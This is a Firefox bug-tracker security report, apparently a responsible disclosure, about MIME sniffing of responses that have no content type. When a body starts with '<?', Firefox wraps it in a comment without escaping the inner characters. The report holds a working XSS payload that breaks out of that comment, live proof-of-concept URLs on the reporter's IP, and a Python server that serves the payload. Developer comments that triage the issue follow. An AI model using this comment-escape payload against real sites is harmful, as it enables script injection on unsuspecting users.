MIME sniffing guesses HTML when blink and webkit choose text/plain. Could make Firefox users uniquely vulnerable on poorly configured sites
Categories
(Core :: Networking: HTTP, defect, P2)
Tracking
()
People
(Reporter: islamrzayev26, Unassigned)
References
(Blocks 1 open bug, )
Details
(Keywords: reporter-external, sec-vector, Whiteboard: [reporter-external] [client-bounty-form] [verif?][necko-triaged])
Attachments
(2 files)
So Firefox does Mime-Sniffing if no Content-Type header is provided(i think check happens for first characters of response body), like if the first string part of body is like: "<!DOCTYPE html><html>test<br>test", it tries to sniff the mime type as HTML normally. But if the beginning of response body starts with a normal string other than html magic bytes, it tries to encode them as safe html, even if later parts of body contains html renderable elements(like html tags).
But there was some kind of a different escaping(normally whole string was treated as a text mime type, so html encode to make it html safe) in a special circumstance, when a less-than and some special chars are followed in the start of response body - for example "<?" and so on. The difference here was that, the first less-than and last greater-than was used to construct a comment, some kind of escape was happening, but the problem here was the characters inside comment was not encoded. So i was able to trick the browser to escape from inside the commented out string and inject HTML to achieve a Universal XSS scenario for faulty behavior.
For demonstration of this bug, i hosted a reference content on my host as a PoC example.
So let's first observe the intended functionality.
Here is my host's endpoint link for this: http://161.35.83.251:8006/html_mime_protection_intended_sanitization
When you click it, the returned response body looks like this:
<?
mime_check_protected <br> mime_check_protected
After it is accepted in Firefox, it looks like this in the DOM:
<!--?mime_check_protected <br-->
<html><head></head><body>mime_check_protected</body></html>
(intended.png)
As you can see, the first less-than and last greater-than signs are modified to make a full comment opening and closing, which normally prevents html execution.
The Bypass
The less-than and greater-than characters weren't escaping inside the comment, so i added closing part of comment structure firstly to close the comment(first), and after the malicious payload part, added a starting part of comment structure(second) to close the second comment. So the payload between the first and second comments will be executed as not properly escaped.
The url for UXSS poc: http://161.35.83.251:8007/html_mime_protection_sanitization_bypass
The response from server:
<?
-->
alma<img src='#' onerror=alert(atob(/aGFoYWhhIFhTUw==/.source))>alma
<!--
?>
The browser incorrectly handles this and HTML is executed, leading to UXSS.
The image showing the behavior is in the attachments: UXSS.png
A real life scenario example:
A PHP app can return an error against the user input, which contains "<?php" in its first bytes in the response body, and if the attacker can inject characters anywhere inside this response(normally the user input causing the error is also returned), then they can use the bug the achieve UXSS.
Hi,
i think my test server is down,
For this url: http://161.35.83.251:8006/html_mime_protection_intended_sanitization
use - http://161.35.83.251:8008/html_mime_protection_intended_sanitization
For UXSS poc url, use this - http://161.35.83.251:8008/html_mime_protection_sanitization_bypass
My python http server source code, if you want to for your own test engagement or in case my server is down again:
from http.server import BaseHTTPRequestHandler, HTTPServer
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/html_mime_protection_sanitization_bypass':
self.send_response(200)
self.send_header('Server', 'CustomServer')
self.end_headers()
self.wfile.write(b"<?\n --> \nalma<img src='#' onerror=alert(atob(/aGFoYWhhIFhTUw==/.source))>alma \n<!-- \n?>")
elif self.path == '/html_mime_protection_intended_sanitization':
self.send_response(200)
self.send_header('Server', 'CustomServer')
self.end_headers()
self.wfile.write(b"<? \nmime_check_protected <br> mime_check_protected")
else:
self.send_response(404)
self.send_header('Server', 'CustomServer')
self.end_headers()
self.wfile.write(b"Not Found")
def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler, port=8008):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print(f"Server running on port {port}")
httpd.serve_forever()
if __name__ == "__main__":
run()
Comment 2•8 months ago
|
||
I'm moving this to networking because it looks like the sniffing is done in nsHtml5StreamParser. We ought to be following the MIME Sniffing Standard and filing issues against the spec if we think it's wrong, but it doesn't look like that's the algorithm we're using.
A "Universal" XSS in one that can be deployed against a random site of your choosing, because it's a flaw in the browser itself. Although there are attempts to standardize this, "MIME sniffing" is already a browser mechanism trying to compensate for broken sites, so this parsing difference can only possibly turn into an XSS on a web sites that are already unsafe. The following conditions have to be met:
- the site accepts arbitrary uploads
- does not serve a content type with them
- does not itself filter or check the content for containing HTML or script-like text
- does not serve the
X-content-type-options: nosniff
header - does not serve a
content-security-policy
that prevents unwanted script execution
The first one greatly limits the number of target sites. If that site is failing to take the rest of those measures then it's unlikely this is the only possible attack, and other attacks would work in all browsers.
Comment 3•8 months ago
|
||
i think my test server is down, For this url: http://161.35.83.251:8006/html_mime_protection_intended_sanitization use - http://161.35.83.251:8008/html_mime_protection_intended_sanitization
Your machine is up, and there's a default apache page at http://161.35.83.251:80 , but none of the :800x ports are reachable. Either your servers are down or you've got a firewall blocking those ports. If this is a residential machine you might need to set up port forwarding on your router.
Comment 4•8 months ago
|
||
Attaching the reporter's python script for convenience if anyone else wants to try it.
Can confirm that Firefox treats both examples as HTML while Chrome and Safari treat both as plain text.
Updated•8 months ago
|
Updated•8 months ago
|
Updated•8 months ago
|
Updated•7 months ago
|
Updated•6 months ago
|
Updated•5 months ago
|
Description
•